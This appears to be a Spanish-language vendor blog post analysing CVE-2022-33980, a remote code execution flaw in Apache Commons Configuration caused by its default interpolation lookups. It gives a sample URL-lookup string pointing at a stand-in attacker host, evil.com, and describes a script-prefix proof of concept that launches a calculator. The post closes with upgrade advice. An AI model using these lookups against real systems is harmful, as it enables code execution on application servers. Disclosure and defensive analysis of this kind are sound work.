Análisis de CVE-2022-33980: la vulnerabilidad de ejecución remota de código en Apache Commons Configuration
Kyle Suero
8 de julio de 2022
0 minutos de lecturaAntes de profundizar en los detalles de esta vulnerabilidad, queremos dejar claro que no hay motivo para entrar en pánico. Muchos sistemas permiten usar distintos tipos de código en los archivos de configuración, y existen casos de uso legítimos para incluir la interpolación de cadenas y variables en la configuración de aplicaciones y sistemas. Esto no es otro Log4Shell. Se trata de una simple manipulación de la configuración. Si alguien puede cambiar tu configuración fácilmente, o los recursos dinámicos a los que podría apuntar, probablemente tengas problemas más importantes que resolver.
Falla en Apache Commons Configuration
Es posible ejecutar código arbitrario en archivos de configuración de Apache Commons (presente en las versiones 2.4 a 2.7) mediante la funcionalidad predeterminada de interpolación de variables. En concreto, el problema se origina en la función interpolate de la clase ConfigurationInterpolator.
En una situación normal, la función interpolate recibe un valor de objeto que contiene variables, que luego se sustituyen si es posible resolverlas. El resultado es un valor de entrada con las variables reemplazadas, lo que puede ser útil cuando hay diferencias entre las versiones de los entornos de desarrollo y producción. En pocas palabras, la función de interpolación permite evaluar dinámicamente los parámetros de configuración. Hay muchas razones legítimas para hacerlo.
Sin embargo, si estas búsquedas se realizan desde un archivo de configuración controlado por un atacante, pueden causar mucho daño. Por ejemplo, ${url:UTF-8:[https://www.evil.com](https://www.evil.com)} usa el prefijo URL, que podría servir para cargar archivos remotos y valores de configuración. Si alguien lograra controlar la URL especificada mediante un ataque (como la toma de control de un subdominio), podría aprovecharlo para ejecutar código arbitrario en los servidores de aplicaciones. Esto podría permitirle moverse por la red y provocar más daños.
Además del prefijo de búsqueda URL, hay otros prefijos habilitados de forma predeterminada para resolver registros DNS y ejecutar scripts. Si la configuración está bajo el control de un atacante, esto podría tener consecuencias devastadoras.
Es importante mantener una sanitización adecuada de la configuración y tener cuidado con los valores dinámicos. Aunque una URL pertenezca hoy a tu organización, cuando venza el registro del dominio, un atacante podría comprometer las configuraciones dinámicas al adquirir ese dominio y alojar contenido malicioso en la URL que antes era legítima.
Prueba de concepto de Apache Commons Configuration
Desde Java 8 hasta Java 15, Java incluía de forma predeterminada el motor de scripts Nashorn. Esto significa que podemos ejecutar scripts sin hacer ningún esfuerzo adicional. Nashorn ofrece distintos tipos de motores que se pueden usar para ejecutar código. Los siguientes ejemplos usan JavaScript y Nashorn, que permite ejecutar código Java.
En el ejemplo a continuación, uso la función interpolate() para ejecutar esos scripts. Como resultado, el código JavaScript 5 + 4 da como resultado 9, y el código Java con nashorn ejecuta ProcessBuilder, que abre la calculadora en mi Mac.
Nota del editor: Para probar el código anterior, tendrás que reemplazar la «a» de «java» y la «s» de «values».
El último ejemplo muestra cómo una vulnerabilidad grave de ejecución de código arbitrario puede originarse cuando un usuario influye en la entrada de la función interpolate(). Aunque abrir una calculadora no sea particularmente interesante, la misma técnica puede usarse para ejecutar un ataque de shell inverso o algo incluso peor.

Ten en cuenta que Nashorn ya no está disponible de forma predeterminada en Java 15 ni en las versiones posteriores. Por lo tanto, estos scripts solo se ejecutarán si proporcionas tu propio motor de scripts. Sin embargo, como muchas empresas aún dependen de versiones anteriores, como Java 8, esto puede ser un problema grave. Este es un ejemplo perfecto de por qué deberías considerar usar la versión más reciente de Java, como Java 17 (la versión LTS más reciente).
Cómo corregir Apache Commons Configuration
Este problema debería estar resuelto a partir de la versión 2.8, ya que la versión más reciente deshabilita de forma predeterminada los prefijos URL, DNS y script. Para permitir otros tipos de búsquedas, es necesario cambiar las propiedades del sistema. Limitar el conjunto predeterminado de prefijos de búsqueda posibles reduce considerablemente el impacto de los archivos de configuración controlados de forma maliciosa.
El análisis con Snyk puede ayudarte a determinar si esta vulnerabilidad está presente en tu stack. Si la detectas, actualiza a la versión 2.8 y ejecuta snyk monitor en la CLI para seguir monitoreando en producción.
Empieza con Capture the Flag
Aprende a resolver desafíos de Capture the Flag viendo nuestro taller virtual introductorio a pedido.



